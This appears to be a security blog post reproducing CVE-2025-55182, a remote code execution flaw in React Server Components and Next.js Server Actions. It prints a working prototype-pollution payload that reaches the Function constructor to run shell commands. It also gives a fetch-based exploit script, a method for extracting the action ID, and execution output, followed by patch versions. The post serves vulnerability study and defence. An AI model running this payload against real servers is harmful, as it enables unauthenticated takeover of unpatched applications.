~/blog/security/react-server-components-rce-cve-2025-55182
// dispatch โ€” Security
SECURITY12/15/245 MIN

Reproducing CVE-2025-55182: Remote Code Execution in React Server Components

A deep dive into the critical RCE vulnerability affecting Next.js and React 19, with a full reproduction and technical breakdown.

โš  TL;DR

CVE-2025-55182 (CVSS 10.0) is a single-POST RCE against Next.js App Router apps using Server Actions. Unsanitised RSC Flight references ($1:__proto__:..., $1:constructor:constructor) chain to the Function constructor โ€” attacker-controlled string becomes server-side execSync. No auth, no MFA, full shell. Patch immediately.

Introduction

What if I told you a single POST request could give an attacker full shell access to your Next.js server? That's exactly what CVE-2025-55182 allows โ€” a critical Remote Code Execution (RCE) vulnerability with a perfect 10.0 CVSS score.

I spent time reproducing this vulnerability to understand how it works under the hood. Here's everything I learned.

What's Affected?

This vulnerability impacts:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: 15.x and 16.x using the App Router
  • Packages: react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel

If you're running an unpatched Next.js app with Server Actions, you're vulnerable.


Understanding React Server Components

Before diving into the exploit, let's understand how React Server Components (RSC) work.

When you create a Server Action in Next.js:

โ— โ— โ—TYPESCRIPT
"use server";

export async function submitForm(formData: FormData) {
  const name = formData.get("name");
  // Process on server
}

Next.js assigns it a unique Action ID and exposes it via the Next-Action HTTP header. The client sends serialized data using React's Flight protocol, and the server deserializes it.

The vulnerability lies in how this deserialization happens.


The Vulnerability: Prototype Pollution to RCE

The RSC Flight protocol uses special prefixes to reference objects:

PrefixMeaning
$@NReference to chunk N
$1:path:propProperty access chain
$QNPromise reference

The critical flaw? The deserializer doesn't sanitize property access chains.

This allows an attacker to access:

  • __proto__ โ€” enabling prototype pollution
  • constructor โ€” accessing the Function constructor

The Exploit Payload

Here's the payload that achieves RCE:

โ— โ— โ—JAVASCRIPT
const payload = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then":"$B1337"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('whoami > /tmp/pwned.txt');`,
    _chunks: "$Q2",
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

Let me break down each part:

1. Prototype Pollution

โ— โ— โ—JAVASCRIPT
then: "$1:__proto__:then";

This creates a reference that resolves to Object.__proto__.then, polluting the Promise prototype. This is the entry point for the attack.

2. Accessing Function Constructor

โ— โ— โ—JAVASCRIPT
get: "$1:constructor:constructor";

This chains to Object.constructor.constructor, which is the Function constructor โ€” essentially new Function().

3. Code Injection

โ— โ— โ—JAVASCRIPT
_prefix: `process.mainModule.require('child_process').execSync('whoami');`;

This string gets passed to the Function constructor and executed as code on the server with full Node.js privileges.


Reproducing the Vulnerability

Step 1: Setting Up the Vulnerable Environment

First, I created a Next.js app with Server Actions:

โ— โ— โ—TYPESCRIPT
// app/actions.ts
"use server";

export async function testAction(formData: FormData): Promise<void> {
  const name = formData.get("name");
  console.log("Server action called with:", name);
}

Then downgraded to vulnerable versions (only needed if you're on patched versions like Next.js 15.2.6+ or React 19.0.1+):

โ— โ— โ—BASH
# Skip this if already on vulnerable versions
npm install [email protected] [email protected] [email protected] --legacy-peer-deps

Step 2: Finding the Action ID

After building the project, I extracted the Action ID from the build output:

โ— โ— โ—BASH
grep -oP '\$ACTION_ID_\K[a-f0-9]+' .next/server/app/index.html

This returned my Action ID (yours will be different).

Step 3: Crafting the Exploit

The full exploit script sends a multipart form request:

โ— โ— โ—JAVASCRIPT
const TARGET_URL = "http://localhost:3000";
const ACTION_ID = "<your-action-id>"; // Replace with your Action ID from Step 2
const COMMAND = "whoami > /tmp/react2shell-pwned.txt";

const payload = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then":"$B1337"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${COMMAND}');`,
    _chunks: "$Q2",
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

// Send as multipart/form-data with Next-Action header
fetch(TARGET_URL, {
  method: "POST",
  headers: {
    "Content-Type": `multipart/form-data; boundary=${boundary}`,
    "Next-Action": ACTION_ID,
    Accept: "text/x-component",
  },
  body: body,
});

Step 4: Execution

Running the exploit:

โ— โ— โ—BASH
node exploit.js

Checking the result:

โ— โ— โ—BASH
cat /tmp/react2shell-pwned.txt
# Output: codespace

The server executed our command.


The Attack Flow Visualized

โ—† DIAGRAMMERMAID

Impact

This vulnerability is critical because:

  • No authentication required โ€” Any anonymous user can exploit it
  • Full server compromise โ€” Attacker gains shell access
  • Easy to exploit โ€” Single HTTP request
  • Wide attack surface โ€” Any Next.js app with Server Actions

An attacker could:

  • Steal environment variables and secrets
  • Access databases
  • Pivot to internal networks
  • Deploy malware or backdoors

Mitigation

Update immediately to patched versions:

PackagePatched Version
React19.0.1, 19.1.2, 19.2.1+
Next.js15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
โ— โ— โ—BASH
npm update next react react-dom

Lessons Learned

  1. Deserialization is dangerous โ€” Never trust serialized data from clients
  2. Prototype pollution is still relevant โ€” Even in modern frameworks
  3. Supply chain matters โ€” A flaw in React affects the entire ecosystem
  4. Update your dependencies โ€” Security patches exist for a reason

Conclusion

CVE-2025-55182 is a reminder that even the most popular frameworks can have critical vulnerabilities. The combination of prototype pollution and unsafe deserialization created a perfect storm for RCE.

If you're running Next.js with Server Actions, patch now. The exploit is trivial, and the impact is devastating.

Stay secure.


โ—† KEY TAKEAWAY

Update React and Next.js today โ€” not tomorrow. Never trust deserialised client payloads, and remember that prototype pollution isn't a 2018 problem; it's a 2025 RCE primitive hiding inside whatever framework you're trusting.


References

// next up
PRODUCTIVITY
10 Tips for Better Time Management โ†’
ยฉ 2026 ยท HAND-BUILT W/ โ™ฅ & CAFFEINEBUILT WITH NEXT.JS + TAILWIND
HOMEABOUTBLOGSPROJECTSRESUMEPLAY